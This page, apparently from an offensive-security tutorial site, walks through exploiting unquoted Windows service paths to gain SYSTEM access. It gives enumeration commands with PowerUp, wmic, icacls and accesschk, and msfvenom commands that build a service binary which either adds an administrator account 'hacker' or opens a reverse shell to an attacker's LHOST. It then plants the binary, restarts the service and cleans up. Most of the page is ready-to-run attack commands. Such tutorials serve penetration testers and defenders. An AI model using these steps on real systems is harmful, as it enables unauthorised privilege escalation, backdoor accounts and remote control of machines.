Skip to content
HackIndex logo

HackIndex

Unquoted Service Path Privilege Escalation

3 min read May 3, 2026

When a Windows service binary path contains spaces and is not enclosed in quotes, the Windows service control manager tries multiple path interpretations. For a path like C:\Program Files\Some App\service.exe, Windows tries C:\Program.exe, then C:\Program Files\Some.exe, then C:\Program Files\Some App\service.exe. If you can write to any intermediate directory, planting a binary at an earlier resolution point gives you SYSTEM code execution.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /all

You need write access to at least one directory in the service path before the actual binary. Check available drives and writable directories:

C:\Users\Guest\Desktop> icacls "C:\Program Files" 2>nul
C:\Users\Guest\Desktop> icacls "C:\Program Files (x86)" 2>nul

Step 1 — Find Vulnerable Services

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-UnquotedService
PS C:\Users\Guest\Desktop> # Get-ServiceUnquoted on old PowerUp

Manual enumeration — find all unquoted paths with spaces:

C:\Users\Guest\Desktop> wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Or check all services:

C:\Users\Guest\Desktop> wmic service get name,pathname | findstr /v """ | findstr " "

PowerShell alternative:

PS C:\Users\Guest\Desktop> Get-WmiObject -Class Win32_Service | Where-Object {
$_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows\\'
} | Select-Object Name, PathName, StartMode

Step 2 — Understand the Resolution Order

For a path like:

C:\Users\Guest\Desktop> C:\Program Files\Vulnerable App\service.exe

Windows tries in order:

  1. C:\Program.exe

  2. C:\Program Files\Vulnerable.exe

  3. C:\Program Files\Vulnerable App\service.exe

You need write access to C:\ to plant Program.exe, or to C:\Program Files\ to plant Vulnerable.exe.

Check write access to each intermediate directory:

C:\Users\Guest\Desktop> icacls "C:\" 2>nul
icacls "C:\Program Files" 2>nul
icacls "C:\Program Files\Vulnerable App" 2>nul

Look for (W), (M), or (F) for your user, BUILTIN\Users, or Everyone.

Using accesschk:

C:\Users\Guest\Desktop> accesschk.exe -uwdqs Users "C:\" /accepteula 2>nul
accesschk.exe -uwdqs "Authenticated Users" "C:\Program Files" /accepteula 2>nul

Step 3 — Determine the Binary Name

The binary name is everything before the first space in each path segment. For:

C:\Users\Guest\Desktop> C:\Program Files\Vulnerable App\service.exe

The candidate binaries are:

  • C:\Program.exe

  • C:\Program Files\Vulnerable.exe

Use whichever directory you can write to.

Step 4 — Create the Malicious Binary

┌──(kali㉿kali)-[~]
└─$ # On attack box — create service-compatible EXE
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o Vulnerable.exe
 
┌──(kali㉿kali)-[~]
└─$ # Or reverse shell
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o Vulnerable.exe

Transfer to target and place in the writable directory:

C:\Users\Guest\Desktop> copy C:\Windows\Temp\Vulnerable.exe "C:\Program Files\Vulnerable.exe"

Step 5 — Restart the Service

C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Or reboot if restart is not available:

C:\Users\Guest\Desktop> shutdown /r /t 0

Step 6 — Verify

┌──(kali㉿kali)-[~]
└─$ net user hacker
┌──(kali㉿kali)-[~]
└─$ net localgroup administrators

Why C:\Program Files Is Often Writable

On misconfigured systems, BUILTIN\Users has write access to custom application directories under Program Files. Standard Microsoft applications are protected, but third-party installers frequently set weak permissions on their installation directories.

Always check custom application paths specifically — C:\Program Files\ThirdPartyApp\ is more likely writable than C:\Program Files\ itself.

Cleanup

C:\Users\Guest\Desktop> del "C:\Program Files\Vulnerable.exe"

References